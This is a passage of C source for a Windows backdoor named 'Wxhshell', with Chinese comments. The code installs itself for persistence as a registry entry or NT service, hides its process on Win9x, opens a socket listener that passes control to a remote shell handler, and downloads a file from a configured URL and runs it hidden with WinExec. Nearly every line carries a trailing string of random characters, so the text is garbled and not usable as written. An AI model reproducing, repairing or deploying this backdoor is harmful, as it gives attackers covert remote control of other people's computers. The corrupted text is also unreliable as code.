ULONG UniqueProcessId; 6i, d|
ULONG InheritedFromUniqueProcessId; 0l{').!_
} PROCESS_BASIC_INFORMATION; 7w YSP&$
j2g#t
PROCNTQSIP NtQueryInformationProcess; }h EBX:-
Cd]d[{NJ;
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "wA3l%d[Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,Rz,[KI|
iiKFV>;t/
HANDLE hProcess; (lT
H EiX
PROCESS_BASIC_INFORMATION pbi; ME{i-E4
\2pJ ]
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); USJ4qv+-
if(NULL == hInst ) return 0; i$$\}2m{L
,)u}8ty3j
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }yC ve
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^pAqe8u_
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); kR9G;IZ8s
2r<UYB
if (!NtQueryInformationProcess) return 0; K4snpuhC
GAEz
:n
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); vNHMe{,u
if(!hProcess) return 0; >O |hN `
6D6=5!l
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 0X~Dxs
(Sv 7^}j
CloseHandle(hProcess); !G Z2|~f9
_hK7hvM>
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); o~ 2bk<]z
if(hProcess==NULL) return 0; +.mIC:9
!nC Z,
HMODULE hMod; B$_F)2%m;
char procName[255]; ~`u?|+*BO
unsigned long cbNeeded; c-n'F+fZ
^s_E |~U
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); _|x%M}O},
%t`a-m
CloseHandle(hProcess); qdjRw#LS^q
m>jX4D7KZ
if(strstr(procName,"services")) return 1; // 以服务启动 {.DI[@.g
&X9#{:l=
return 0; // 注册表启动 V
:*GG+4
} #c./<<P5}
;M>0,
// 主模块 >5i1M^g(
int StartWxhshell(LPSTR lpCmdLine) m%'9z L c
{ HkGzyDt
SOCKET wsl; g=:%j5?.e
BOOL val=TRUE; jrvhTej
int port=0; av&dGsFP
struct sockaddr_in door; !nU
`3*>tq
if(wscfg.ws_autoins) Install(); w1h07_u;v
"u3
port=atoi(lpCmdLine); >/ECLP
k;#$Oxa>t=
if(port<=0) port=wscfg.ws_port; v$owG-_><
:DR
G=-M
WSADATA data; rX{QgyY&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WB"$NYB
tlA4oVII
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; N"2P&Ho]
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PQlG!
door.sin_family = AF_INET; n)8bkcZCp+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); -P!vCf^{
t
door.sin_port = htons(port); j}X4#{jgC
JU1U=Lu."
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { |Gzd|$%Oq
closesocket(wsl); |bVNlL"xN
return 1; nZ$,Bjb
} iEsI
8n,i5>!d
if(listen(wsl,2) == INVALID_SOCKET) { Z"mpE+U*
closesocket(wsl); h,\^Sb5AP
return 1; pIqPIuy
} 1e _V@Vy
Wxhshell(wsl); +d2+w1o^V
WSACleanup(); 3Yp_k
O HR9u
return 0; V89!C?.[]1
7Q/v#_e(
} LGgEq-
|&o1i~Y
// 以NT服务方式启动 BB1'B-O
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) K/,
B
{ tI{pu}/"#
DWORD status = 0; #z6RzZu
DWORD specificError = 0xfffffff; nv2Y6e}dG
mO?G[?*\
serviceStatus.dwServiceType = SERVICE_WIN32; wGBQ.Ve[
serviceStatus.dwCurrentState = SERVICE_START_PENDING; '.#KkvE##
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; i('z~
serviceStatus.dwWin32ExitCode = 0; a+{YTR>0m
serviceStatus.dwServiceSpecificExitCode = 0; (|I0C 'Ki
serviceStatus.dwCheckPoint = 0; ;^=eiurv
serviceStatus.dwWaitHint = 0; GLv}|>W
tV[?WA[xt
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); tkR^dC
if (hServiceStatusHandle==0) return; FJ!N)`[
AA^3P?iD
status = GetLastError(); QtW5;A-h
if (status!=NO_ERROR) /ZvNgaH5M
{ hOO)0IrIM*
serviceStatus.dwCurrentState = SERVICE_STOPPED; 6aX m9J
serviceStatus.dwCheckPoint = 0; / d0LD
serviceStatus.dwWaitHint = 0; ahhVl=9/ao
serviceStatus.dwWin32ExitCode = status; Y~,[9:SR
serviceStatus.dwServiceSpecificExitCode = specificError; TEE$1RxV(
SetServiceStatus(hServiceStatusHandle, &serviceStatus); '4L
i
return; WvAl!^{`
} 23U9+
BYhPOg[
serviceStatus.dwCurrentState = SERVICE_RUNNING; %_@8f|# ,M
serviceStatus.dwCheckPoint = 0; 4_F<jx,G
serviceStatus.dwWaitHint = 0; bqS*WgMY-
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); /:z}WAW
} 7 G~MqnO|
!:c7I@
// 处理NT服务事件,比如:启动、停止 "sUe:F;
VOID WINAPI NTServiceHandler(DWORD fdwControl) VS%8f.7ep
{ h7~&rWb
switch(fdwControl) l9qq;hhGP,
{ dGQy=T:
case SERVICE_CONTROL_STOP: VrQw;-rQ
serviceStatus.dwWin32ExitCode = 0; R D=!No?
serviceStatus.dwCurrentState = SERVICE_STOPPED; 8:huWjh]M
serviceStatus.dwCheckPoint = 0; sog?Mvoq
serviceStatus.dwWaitHint = 0; #v89`$#`2
{ S;Lqx5Cd
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fdck/|`t
} xPq3Sfg`A
return; ''?.6r
case SERVICE_CONTROL_PAUSE: ~N>[7I"*
serviceStatus.dwCurrentState = SERVICE_PAUSED; 3-hu'xSU
break; G"O%u|7
case SERVICE_CONTROL_CONTINUE: $QNfy.6Tn
serviceStatus.dwCurrentState = SERVICE_RUNNING; .^,fw=T|1
break; 6$%]p1"!K
case SERVICE_CONTROL_INTERROGATE: jQ%}e"
break; !r.X. C
}; b3#c0GL
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :>F:G%(DK
} 85w
D<bN27
|uj1T=ZY
// 标准应用程序主函数 DS=kSkW^&5
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~ Y4H)r
{ h:a5FK@
8p-5.GU)<e
// 获取操作系统版本 R+]Fh4t
OsIsNt=GetOsVer(); P-7!\[];te
GetModuleFileName(NULL,ExeFile,MAX_PATH); wAF>C[ <\
96}/;e]@
// 从命令行安装 `w[0q?}"`
if(strpbrk(lpCmdLine,"iI")) Install(); FGy7KVR
L)y }
// 下载执行文件 d,8V-Dk+p
if(wscfg.ws_downexe) { p%xo@v(
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {|%5}\%
WinExec(wscfg.ws_filenam,SW_HIDE); [|ky~sRr
} '=\]4?S
#U"\v7C{n
if(!OsIsNt) { iBV*GW
// 如果时win9x,隐藏进程并且设置为注册表启动 qAivsYN*
HideProc(); .NQoqXR
StartWxhshell(lpCmdLine); J4 !Z,-
} &EE6<-B-
else Z!wDh_
if(StartFromService()) ##}a0\x|
// 以服务方式启动 d0MX4bhZ
StartServiceCtrlDispatcher(DispatchTable); j9y,UT
else E+JGqk
// 普通方式启动 Y0&w;P
StartWxhshell(lpCmdLine); AJCWp4,
X
H{5E4P
return 0; ,y:q]PR
}